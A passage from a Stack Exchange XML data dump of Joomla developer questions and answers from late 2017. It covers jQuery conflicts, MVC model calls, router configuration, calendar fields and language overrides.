(https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js:2:846)&#xA;at a.fn.init.e.fn.(anonymous function) [as slider] (https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js:5:6622)&#xA;at Object.app.buildSlider (https://www.waterfrontwest.com/new/components/com_iproperty/assets/advsearch/sliders.js:62:26)&#xA;at Object.&amp;lt;anonymous&amp;gt; (https://www.waterfrontwest.com/new/components/com_iproperty/assets/advsearch/sliders.js:19:28)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have no idea where to start with trying to fix these? Would anybody be able to assist/advise on where to start? The page can be found &lt;a href=&quot;https://www.waterfrontwest.com/new/index.php/bc-waterfront-properties-for-sale-advanced-search-click-here&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&#xA;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-11-20T09:49:14.490" Title="Debugging jQuery error - Uncaught TypeError: this._addClass is not a function" Tags="|joomla-3.x|jquery|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21936" PostTypeId="2" ParentId="8882" CreationDate="2017-11-17T19:00:32.487" Score="-1" Body="&lt;p&gt;Adding an @ before the line as following solved the problem for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@$lists[$i]-&amp;gt;link = JRoute::_(ContentHelperRoute::getArticleRoute($row-&amp;gt;slug, $row-&amp;gt;catslug, $row-&amp;gt;sectionid));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11789" LastEditorUserId="126" LastEditDate="2017-11-18T22:07:58.987" LastActivityDate="2017-11-18T22:07:58.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21937" PostTypeId="2" ParentId="21930" CreationDate="2017-11-17T22:40:48.823" Score="2" Body="&lt;p&gt;Add password protection to the admin folder through cpanel and enable two factor authentication on the site then on your superuser acct.  After that, no need to feel uncomfortable.  Far leaner solution than installing any extensions.&lt;/p&gt;&#xA;" OwnerUserId="11790" LastActivityDate="2017-11-17T22:40:48.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21938" PostTypeId="2" ParentId="21855" CreationDate="2017-11-17T23:06:05.507" Score="0" Body="&lt;p&gt;I cannot comment on your first choice but I have been using J2store on a couple sites I manage since it was first available, I think that was around 2012-2013.  It has come a long, long way and I'm certain they have a payment and shipping plugin to match the needs of virtually every user.  If not I'm also quite certain they would build what you need on request.  Often they will not charge you for custom created plugins/apps IF it is something that would appeal to many other users instead they will release it as an extension after getting it working for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entire system is very easy to use, built upon the native Joomla system so no conflicts as it all works seamlessly.  The interface is intuitive, I suggest installing the free version to check it out but upgrade to the Pro version if you keep it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been using Joomla to create sites since the late 1990's and tried a great deal of carts and other extensions.  Bar none, J2store has the best support and response you will find anywhere.  They continually blow me away with their willingness to help whether you are new to Joomla or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind I am basing my experience on using the yearly subscription to Pro version which comes with ticket support.  I don't believe the free version comes with support although they have a forum for free users.  I have lurked there and their responses there are another reason I don't hesitate to recommend them, they rarely ignore free users like many other cart developers do and they are always knowledgeable, polite and respectful in their responses regardless of how ignorant the questions or outrageous the requests (for something free).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cost for the Pro version is very reasonable and worth every single penny, year after year.  Seriously, nobody compares to their support.  These people deserve recognition for their quality support!&lt;/p&gt;&#xA;" OwnerUserId="11790" LastActivityDate="2017-11-17T23:06:05.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21939" PostTypeId="2" ParentId="19167" CreationDate="2017-11-18T05:33:38.543" Score="1" Body="&lt;p&gt;So I have been messing with this as well. This isn't specifically how to use the MVC, more how I set up the application around it -- that is what I first stuggled with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is definitely a work in progress. Since you mentioned you have written Joomla components before, this basically lets you pass a task in the format controllerclass.controllermethod like a Joomla CMS component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I did notice is that the joomla/framework (I think that's the 11.4 version) package is no longer maintained. You have to add each Joomla package individually (eg joomla/model) to get the newest version. Here is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php&#xA;configuration.php&#xA;composer.json&#xA;composer.lock&#xA;src&#xA;- Company&#xA;  - Package&#xA;    - App.php&#xA;    - Factory.php&#xA;    - Controllers&#xA;    - Interfaces&#xA;    - Models&#xA;    - Views&#xA;vendor&#xA;- composer&#xA;  ....&#xA;...&#xA;- joomla&#xA;  -  application&#xA;  ....&#xA;  - utilities&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;require __DIR__ . '/configuration.php';&#xA;require __DIR__ . '/vendor/autoload.php';&#xA;&#xA;use Company\Package\Factory;&#xA;&#xA;try {&#xA;    $app = Factory::getApplication();&#xA;    $app-&amp;gt;execute();&#xA;} catch (\Exception $e) {&#xA;    echo $e-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;configuration.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class configuration {&#xA;    /*&#xA;    App Info&#xA;    */&#xA;    public $version = '0.0.1';&#xA;&#xA;    // other configuration variables&#xA;    // ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;src/Company/Package/App.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;namespace Company\Package;&#xA;use Joomla\Application\AbstractWebApplication;&#xA;use Joomla\Uri\Uri;&#xA;use Joomla\Registry\Registry;&#xA;&#xA;class App extends AbstractWebApplication {&#xA;&#xA;    protected function doExecute(){&#xA;&#xA;        $task = $this-&amp;gt;input-&amp;gt;get('task');&#xA;        $output = '';&#xA;&#xA;        try {&#xA;&#xA;            if (empty($task)) {&#xA;&#xA;                throw new \Exception('No task submitted', 400);&#xA;            }&#xA;&#xA;            if (preg_match('/^[a-z0-9]+\.[a-z0-9]+$/i',$task)) {&#xA;&#xA;                list($class,$method) = explode('.',$task);&#xA;&#xA;                $controllerClassName = &quot;Company\\Package\\Controllers\\&quot; . ucfirst($class);&#xA;&#xA;                if (!class_exists($controllerClassName)) {&#xA;                    throw new \Exception('Controller does not exist', 501);&#xA;                }&#xA;&#xA;                $controller = new $controllerClassName($this-&amp;gt;input, $this);&#xA;&#xA;            } else {&#xA;&#xA;                throw new \Exception(&quot;Task format not recognized&quot;, 501);&#xA;            }&#xA;&#xA;            $response = $controller-&amp;gt;$method();&#xA;&#xA;            $body = $response;&#xA;            $status = 200;&#xA;&#xA;        } catch (\Exception $e) {&#xA;&#xA;            // probably need and error view instead of just dumping the error message&#xA;            $body = $e-&amp;gt;getMessage(); &#xA;            $status = $e-&amp;gt;getCode();&#xA;        }&#xA;&#xA;        $this-&amp;gt;setHeader('Status', $status, true);&#xA;        $this-&amp;gt;setBody($body);        &#xA;    }&#xA;&#xA;    protected function initialise() {&#xA;&#xA;        // initialize some stuff here&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;src/Company/Package/Factory.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;namespace Company\Package;&#xA;&#xA;use Joomla\Registry\Registry;&#xA;use Joomla\Input;&#xA;use Joomla\Database\DatabaseFactory;&#xA;&#xA;abstract class Factory {&#xA;&#xA;    protected static $app;&#xA;    public static function getApplication() {&#xA;&#xA;        if (isset(static::$app)) return static::$app;&#xA;&#xA;        $config = static::getConfig();&#xA;&#xA;        $type = 'web'; // someday setup for cli&#xA;&#xA;        if ($type=='web') {&#xA;            $input = new Input\Input;&#xA;            static::$app = new App($input, $config);&#xA;        } else {&#xA;            throw new \Exception(&quot;App type not supported&quot;);&#xA;        }&#xA;&#xA;        return static::$app;&#xA;    }&#xA;&#xA;    // only get configuration from application&#xA;    protected static $config;&#xA;    protected static function getConfig() {&#xA;&#xA;        if (isset(static::$config)) return static::$config;&#xA;&#xA;        $configuration = new \configuration;&#xA;        static::$config = new Registry($configuration);&#xA;&#xA;        return static::$config;&#xA;    }&#xA;&#xA;    protected static $db;&#xA;    public static function getDb() {&#xA;&#xA;        if (isset(static::$db)) return static::$db;&#xA;&#xA;        $app = static::getApplication();&#xA;&#xA;        static::$db = DatabaseFactory::getDriver($app-&amp;gt;get('drive'),[&#xA;            'host' =&amp;gt; $app-&amp;gt;get('host'),&#xA;            'user' =&amp;gt; $app-&amp;gt;get('user'),&#xA;            'password' =&amp;gt; $app-&amp;gt;get('pass'),&#xA;            'database' =&amp;gt; $app-&amp;gt;get('db'),&#xA;            'port' =&amp;gt; $app-&amp;gt;get('port'),&#xA;        ]);&#xA;&#xA;        return static::$db;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2017-11-18T05:33:38.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21940" PostTypeId="1" CreationDate="2017-11-18T13:48:44.460" Score="0" ViewCount="710" Body="&lt;p&gt;I have a function in my model to sum several columns of a table.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function get_sums()&#xA;    {&#xA;        // Create a new query object.&#xA;        $db    = $this-&amp;gt;getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        // Select the required fields from the table.&#xA;&#xA;        $query&#xA;            -&amp;gt;select('SUM'($db-&amp;gt;quoteName(array('pb_p','pb_s','pb_t','pb_r', 'jc_p','jc_s','jc_t','jc_r','sc_p', 'sc_s','sc_t','sc_r','my_p','my_s','my_t','my_r'))));&#xA;&#xA;        $db-&amp;gt;loadResults();&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my view.html file added&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = $this-&amp;gt;getModel( );&#xA;$this-&amp;gt;get_sums= $model-&amp;gt;get_sums();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it throws an error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Using $this when not in object context&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am stumped trying to get this to work, can anyone offer advice where I am going wrong?&#xA;TIA&#xA;Steve&lt;/p&gt;&#xA;" OwnerUserId="11698" LastEditorUserId="126" LastEditDate="2017-11-20T17:42:49.393" LastActivityDate="2017-12-13T17:26:00.577" Title="Calling a Model's Method from View" Tags="|joomla-3.x|component|mysql|mvc|" AnswerCount="1" CommentCount="5" ClosedDate="2017-11-18T22:23:00.477" ContentLicense="CC BY-SA 3.0" />
  <row Id="21941" PostTypeId="2" ParentId="21940" CreationDate="2017-11-18T22:20:42.840" Score="0" Body="&lt;p&gt;The title of your question should be something like calling Model Methods from View - the &quot;sum a query from database&quot; is misleading as title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, for your actual problem and not for the title of the question: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/14345/correct-best-way-of-calling-model-methods-inside-view-html-php&quot;&gt;Correct / Best way of calling model methods inside view.html.php&lt;/a&gt;&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to prepare you, when you manage to find your way to call your model's method from your view, you will encounter another error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$db-&amp;gt;loadResults()&lt;/code&gt; - As far as I know, there isn't a such method in &lt;strong&gt;JDatabase class&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't read your query at all to know what you are doing in there and what kind of data you will expect, but the &lt;strong&gt;JDatabase&lt;/strong&gt; on retrieving data from DB should help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Selecting Data using JDatabase&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-12-13T17:26:00.577" LastActivityDate="2017-12-13T17:26:00.577" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21943" PostTypeId="2" ParentId="21928" CreationDate="2017-11-19T00:03:26.290" Score="2" Body="&lt;p&gt;Use direct PHP function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;htmlspecialchars($row-&amp;gt;tooltip, ENT_COMPAT, 'UTF-8');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-11-19T00:03:26.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21945" PostTypeId="2" ParentId="19224" CreationDate="2017-11-19T14:38:08.263" Score="2" Body="&lt;p&gt;This is now a core feature in Joomla 3.8, i.e. filtering articles category blog layout with tags.&lt;/p&gt;&#xA;" OwnerUserId="9550" LastActivityDate="2017-11-19T14:38:08.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21946" PostTypeId="1" AcceptedAnswerId="21947" CreationDate="2017-11-20T07:20:33.780" Score="3" ViewCount="163" Body="&lt;p&gt;I have a custom table in a view which uses JModelLegacy instead of JModelList since the data source isn't a database. But I still want to use the global default-list-limit value for fetching values from the source. How do I access this, or any other global config values?&lt;/p&gt;&#xA;" OwnerUserId="11490" LastActivityDate="2017-11-20T07:48:10.470" Title="How do I access global joomla configuration values using codes?" Tags="|component|global-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21947" PostTypeId="2" ParentId="21946" CreationDate="2017-11-20T07:48:10.470" Score="3" Body="&lt;p&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;get('list_limit');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose I got a bit confused by the jargon ambiguity and so did my google searches for the same. Feel free to mark this as a duplicate question if it is.&lt;/p&gt;&#xA;" OwnerUserId="11490" LastActivityDate="2017-11-20T07:48:10.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21948" PostTypeId="2" ParentId="21935" CreationDate="2017-11-20T09:49:14.490" Score="1" Body="&lt;p&gt;I'm no expert at this but have a couple of suggestions that might help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Load Order&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, jQuery is loading before Google Maps and MooTools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These three libraries seem to work best together when MooTools loads first, then jQuery and then Google Maps last.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be able to force MooTools to load first by adding this line high up in the HEAD section of the template index.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::_('behavior.framework', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/jquery-easy&quot; rel=&quot;nofollow noreferrer&quot;&gt;jQuery Easy&lt;/a&gt; can also help with loading the libraries in the right order and may be able to help with stopping MooTools loading if it is not needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updates&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updating the template, third party extensions and Joomla to the latest versions might help reduce any conflicts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing or disabling unused extensions might also help.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-11-20T09:49:14.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21950" PostTypeId="1" AcceptedAnswerId="22329" CreationDate="2017-11-20T15:47:40.517" Score="2" ViewCount="1232" Body="&lt;p&gt;I'm developing a module for displaying list of articles. In order to find the URL of an article I use &lt;strong&gt;ContentHelperRoute::getArticleRoute($item-&gt;slug, $item-&gt;catid)&lt;/strong&gt;. By default, it returns the article link (OK) but if it finds a menu item linking to this article It returns this menu item link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my scenario:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have an article &quot;&lt;strong&gt;My article&lt;/strong&gt;&quot;.&lt;/li&gt;&#xA;&lt;li&gt;I have 2 menus &quot;&lt;strong&gt;Main menu&lt;/strong&gt;&quot; (I created if first) and &quot;&lt;strong&gt;Special menu&lt;/strong&gt;&quot;.&lt;/li&gt;&#xA;&lt;li&gt;On each menu, I have a menu item linking to the same article but they are displayed with a different layout.&lt;/li&gt;&#xA;&lt;li&gt;In &quot;&lt;strong&gt;Main menu&lt;/strong&gt;&quot;, I have a menu item &quot;Default article&quot; using the default layout.&lt;/li&gt;&#xA;&lt;li&gt;In &quot;&lt;strong&gt;Special menu&lt;/strong&gt;&quot;, I have a menu item &quot;Special article&quot; using a customized layout.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It seems that &lt;strong&gt;ContentHelperRoute::getArticleRoute($item-&gt;slug, $item-&gt;catid)&lt;/strong&gt; returns the link to &quot;Default article&quot;. How can I get the link to &quot;Special article&quot;? Is there a way to get the link from the menu &quot;Special menu&quot; instead of &quot;Main menu&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2018-12-26T21:02:00.450" Title="How to get the right URL for an article?" Tags="|joomla-3.x|joomla-api|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21952" PostTypeId="2" ParentId="10601" CreationDate="2017-11-20T18:43:20.220" Score="-1" Body="&lt;p&gt;When you have multiple calendar controls on a page the above code has to be modified by adding a unique identifier to each control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, simply add a key to each control.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&amp;lt;!--&#xA;&#xA;    jQuery(document).ready(function($) {&#xA;        Calendar.setup({&#xA;        // Id of the input field&#xA;        inputField: 'jform_alert_date_&amp;lt;?php echo $this-&amp;gt;member_key; ?&amp;gt;',&#xA;        // Format of the input field&#xA;        ifFormat: '%Y-%m-%d',&#xA;        // Trigger for the calendar (button ID)&#xA;        button: 'jform_alert_date_btn_&amp;lt;?php echo $this-&amp;gt;member_key; ?&amp;gt;',&#xA;        // Alignment (defaults to &quot;Bl&quot;)&#xA;        align: 'Tl',&#xA;        singleClick: true,&#xA;        firstDay: '0'&#xA;        });&#xA;    });&#xA;//--&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To render the control simply find and replace any placeholder with the key&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group&quot;&amp;gt;         &#xA;                &amp;lt;?php if(strpos($field-&amp;gt;id, &quot;clubregPlaceholder&quot;)){ &#xA;                    ob_start() ; ?&amp;gt;     &#xA;                    &amp;lt;div class=&quot;control-label&quot;&amp;gt;&amp;lt;?php echo $field-&amp;gt;label; ?&amp;gt;&amp;lt;/div&amp;gt;       &#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;?php echo $field-&amp;gt;input; ?&amp;gt;&amp;lt;/div&amp;gt;                &#xA;                &amp;lt;?php   $dInput  = ob_get_contents(); &#xA;                        ob_end_clean();&#xA;                        echo str_replace(&quot;clubregPlaceholder&quot;, $this-&amp;gt;member_key, $dInput);                     &#xA;                     }else{?&amp;gt;&#xA;                     &amp;lt;div class=&quot;control-label&quot;&amp;gt;&amp;lt;?php echo $field-&amp;gt;label; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;?php echo $field-&amp;gt;input; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;                  &#xA;            &amp;lt;/div&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the original xml definition&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;alert_date_clubregPlaceholder&quot; type=&quot;calendar&quot; required=&quot;true&quot;&#xA;            label=&quot;COM_CLUBREG_ALERT_DATE&quot; description=&quot;COM_CLUBREG_ALERT_DATE_DESC&quot;&#xA;            class=&quot;inputbox input-small&quot;   size=&quot;10&quot; format=&quot;%Y-%m-%d&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11799" LastActivityDate="2017-11-20T18:43:20.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21954" PostTypeId="1" CreationDate="2017-11-21T15:24:57.770" Score="3" ViewCount="250" Body="&lt;p&gt;I want to use the new router classes to implement SEF stuff. I still struggle to get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a view which can show categories. So this view is called &lt;code&gt;categories&lt;/code&gt;. If you click a category, you see the &lt;code&gt;categories&lt;/code&gt; view again. Despite the name of the view and that there is just one view, this is similar to what &lt;code&gt;com_content&lt;/code&gt; is doing with the &lt;code&gt;category&lt;/code&gt; view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code for the router constructor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = new JComponentRouterViewconfiguration('categories');&#xA;$categories-&amp;gt;setKey('catid');&#xA;$categories-&amp;gt;setNestable();&#xA;$this-&amp;gt;registerView($categories);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That gives me an endless loop if I try to build routes for the categories view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The class &lt;code&gt;Joomla\CMS\Component\Router\RouterView\StandardRules&lt;/code&gt; seems to cause the issue here. Since my view has no parent, it can't have children. So the &lt;code&gt;for (i = 0; i &amp;lt; .....)&lt;/code&gt; in line &lt;strong&gt;237&lt;/strong&gt; the &lt;code&gt;i&lt;/code&gt; variable is counted and down endlessly. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;else&#xA;{&#xA;    $i--;&#xA;    $found2 = false;&#xA;}&#xA;&#xA;if (count($views[$view]-&amp;gt;children))&#xA;{&#xA;    $found = true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure the standard Joomla code supports a single nested view. But how? I'm very thankful for a little hint. &lt;/p&gt;&#xA;" OwnerUserId="11801" LastEditorUserId="168" LastEditDate="2017-12-19T12:31:39.830" LastActivityDate="2017-12-19T12:31:39.830" Title="Joomla 3.8 // New Router &amp; Nested View" Tags="|joomla3.8|router|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21955" PostTypeId="2" ParentId="21644" CreationDate="2017-11-21T20:00:37.980" Score="2" Body="&lt;p&gt;I noticed a change in the calendar widget in Joomla 3.8. In addition to the setting the value via val(), I also had to set the data-alt-value attribute as well. Otherwise it would fail validation. So, in your example,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#rq_form input[name=sdate]').val(dateValue);&#xA;jQuery('#rq_form input[name=sdate]').attr('data-alt-value',dateValue);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11803" LastActivityDate="2017-11-21T20:00:37.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21956" PostTypeId="1" CreationDate="2017-11-22T01:00:41.787" Score="2" ViewCount="96" Body="&lt;p&gt;How to edit the text string &quot;Contact Form&quot;. Client wants it to say Inquiries. People are using it to make booking which he would like to avoid.&#xA;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://chrisgarsidepodiatry.com.au/index.php/contact-us/mudgeeraba&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://chrisgarsidepodiatry.com.au/index.php/contact-us/mudgeeraba&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11804" LastEditorUserId="11804" LastEditDate="2017-11-22T06:35:12.620" LastActivityDate="2017-11-22T07:27:12.263" Title="How to edit the text string &quot;Contact Form&quot;" Tags="|database|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21957" PostTypeId="1" AcceptedAnswerId="21960" CreationDate="2017-11-22T04:31:19.673" Score="2" ViewCount="32" Body="&lt;p&gt;I'd like to develop an extension that processes images and related data using article markup, such as is done by Articles Anywhere, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{article 999}{/article}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my case it would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{myExtension}&#xA;[title]&#xA;[image HTML]&#xA;[image HTML]&#xA;[date, date, date, date]&#xA;{/myExtension}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The extension would then render title and image markup and generate an HTML structure to present the dates on a timeline of sorts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which type of extension(s) is/are needed here, and what's it called when markup in an article is processed? What hooks are to be employed? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though I've built 100 or more Joomla sites since J! 1.5.9, my professional expertise is in front-end JavaScript libraries and frameworks. You can't be too elementary with me here regarding PHP, MVC, etc. Thanks. &lt;/p&gt;&#xA;" OwnerUserId="2324" LastActivityDate="2019-04-18T05:45:37.077" Title="What type of extension processes non-HTML markup in an article?" Tags="|php|articles|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21958" PostTypeId="1" AcceptedAnswerId="21961" CreationDate="2017-11-22T07:26:06.510" Score="2" ViewCount="116" Body="&lt;p&gt;I'm writing a Joomla plugin where I want it to look through the Joomla Articles (and modules) for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{myplugin} partno=12345678 {/myplugin}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change {myplugin} partno=12345678 {/myplugin} to a text string which contains HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect this is going to modify &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$row-&amp;gt;text &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which I believe contains the Joomla Article (and module) contents in the examples I've seen online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a common Joomla developer's built-in function to do this? Or is there a more commonly accepted way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it would be accept for it to process this format instead of that makes it more of an acceptable way to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{myplugin} 12345678 {/myplugin}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3943" LastEditorUserId="3943" LastEditDate="2017-11-22T07:51:06.983" LastActivityDate="2017-11-22T08:28:43.633" Title="Parse code for plugin call in $row-&gt;text of Joomla article?" Tags="|plugin|joomla-3.6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21959" PostTypeId="2" ParentId="21956" CreationDate="2017-11-22T07:27:12.263" Score="2" Body="&lt;p&gt;It looks like you are using the Contact component in Joomla 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, you may be able to create a language override to change the heading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Extensions -&gt; Language Manager -&gt; Overrides -&gt; New and under &quot;Search text you want to change&quot;, enter &quot;Contact Form&quot;, set &quot;Search for&quot; to &quot;Value&quot; and click on the &quot;Search&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on the appropriate search result which might be &quot;COM_CONTACT_FIELDSET_CONTACT_FORM&quot;  or similar. This will populate the 'Create a New Override&quot; form for you. You can then change the &quot;Contact Form&quot; text to whatever you like and then click on &quot;Save &amp;amp; Close&quot; to save and close.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refresh the Contact Page in your browser to check for changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have chosen the wrong language string, you can always delete the override you created and try again.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-11-22T07:27:12.263" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
